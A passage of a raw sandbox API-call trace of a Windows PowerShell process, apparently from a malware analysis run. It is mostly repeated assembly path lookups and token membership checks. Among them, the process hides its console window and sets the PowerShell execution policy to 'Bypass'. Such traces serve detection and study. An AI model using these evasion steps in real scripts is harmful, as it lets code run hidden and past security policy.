lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0109.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0109.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0109.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0110.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0110.223] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0110.223] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1ad260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0110.358] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.358] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.358] CoTaskMemFree (pv=0x358a80) [0110.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1ad380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0110.491] SetErrorMode (uMode=0x1) returned 0x1 [0110.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1ad600 | out: lpFileInformation=0x1ad600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0110.492] SetErrorMode (uMode=0x1) returned 0x1 [0110.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.708] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.708] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.708] CoTaskMemFree (pv=0x358a80) [0110.728] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.728] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.728] CoTaskMemFree (pv=0x358a80) [0110.729] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.729] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.729] CoTaskMemFree (pv=0x358a80) [0110.737] CoCreateGuid (in: pguid=0x1ad9c8 | out: pguid=0x1ad9c8*(Data1=0x97010a8d, Data2=0x1584, Data3=0x4e10, Data4=([0]=0x92, [1]=0x26, [2]=0xbd, [3]=0x78, [4]=0x4f, [5]=0xcd, [6]=0xb9, [7]=0x7f))) returned 0x0 [0110.745] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.745] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.745] CoTaskMemFree (pv=0x358a80) [0110.748] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.748] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.749] CoTaskMemFree (pv=0x358a80) [0110.752] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.752] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.752] CoTaskMemFree (pv=0x358a80) [0110.760] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3 [0110.762] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3, lpConsoleScreenBufferInfo=0x1ad670 | out: lpConsoleScreenBufferInfo=0x1ad670) returned 1 [0110.769] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0110.769] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x1ad670 | out: lpConsoleScreenBufferInfo=0x1ad670) returned 1 [0110.770] GetVersionExW (in: lpVersionInformation=0x1ad600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1ad600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0110.773] GetCurrentProcess () returned 0xffffffffffffffff [0110.774] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ad698 | out: TokenHandle=0x1ad698*=0x328) returned 1 [0110.779] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ad5b8 | out: TokenInformation=0x0, ReturnLength=0x1ad5b8) returned 0 [0110.780] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x327540 [0110.780] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x327540, TokenInformationLength=0x4, ReturnLength=0x1ad5b8 | out: TokenInformation=0x327540, ReturnLength=0x1ad5b8) returned 1 [0110.782] DuplicateTokenEx (in: hExistingToken=0x328, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1ad718 | out: phNewToken=0x1ad718*=0x324) returned 1 [0110.782] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ad5b8 | out: TokenInformation=0x0, ReturnLength=0x1ad5b8) returned 0 [0110.782] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x327570 [0110.782] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x8, TokenInformation=0x327570, TokenInformationLength=0x4, ReturnLength=0x1ad5b8 | out: TokenInformation=0x327570, ReturnLength=0x1ad5b8) returned 1 [0110.783] CheckTokenMembership (in: TokenHandle=0x324, SidToCheck=0x2e272c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1ad728 | out: IsMember=0x1ad728) returned 1 [0110.783] CloseHandle (hObject=0x324) returned 1 [0110.784] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.784] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.784] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ad190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0110.925] SetConsoleCtrlHandler (HandlerRoutine=0x273677c, Add=1) returned 1 [0110.941] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.941] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.941] CoTaskMemFree (pv=0x358a80) [0110.942] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0110.942] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.942] CoTaskMemFree (pv=0x358a80) [0111.841] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0111.841] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0111.841] CoTaskMemFree (pv=0x358a80) [0112.068] GetConsoleWindow () returned 0x302e6 [0112.069] ShowWindow (hWnd=0x302e6, nCmdShow=0) returned 0 [0112.071] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.071] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.071] CoTaskMemFree (pv=0x358a80) [0112.084] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0112.134] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x324 [0112.140] CoCreateGuid (in: pguid=0x1ad810 | out: pguid=0x1ad810*(Data1=0xb0f5220f, Data2=0xbd22, Data3=0x4498, Data4=([0]=0x87, [1]=0xbc, [2]=0x2d, [3]=0xc7, [4]=0x6a, [5]=0xd6, [6]=0xf2, [7]=0xf))) returned 0x0 [0112.153] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.154] CoTaskMemFree (pv=0x358a80) [0112.237] WinSqmIsOptedIn () returned 0x0 [0112.238] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.238] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.238] CoTaskMemFree (pv=0x358a80) [0112.246] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.246] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.246] CoTaskMemFree (pv=0x358a80) [0112.246] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.246] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.246] CoTaskMemFree (pv=0x358a80) [0112.250] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.251] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.251] CoTaskMemFree (pv=0x358a80) [0112.253] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.253] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.253] CoTaskMemFree (pv=0x358a80) [0112.282] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.282] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.283] CoTaskMemFree (pv=0x358a80) [0112.284] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.284] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.284] CoTaskMemFree (pv=0x358a80) [0112.290] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.290] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.291] CoTaskMemFree (pv=0x358a80) [0112.297] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.297] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.297] CoTaskMemFree (pv=0x358a80) [0112.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.427] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 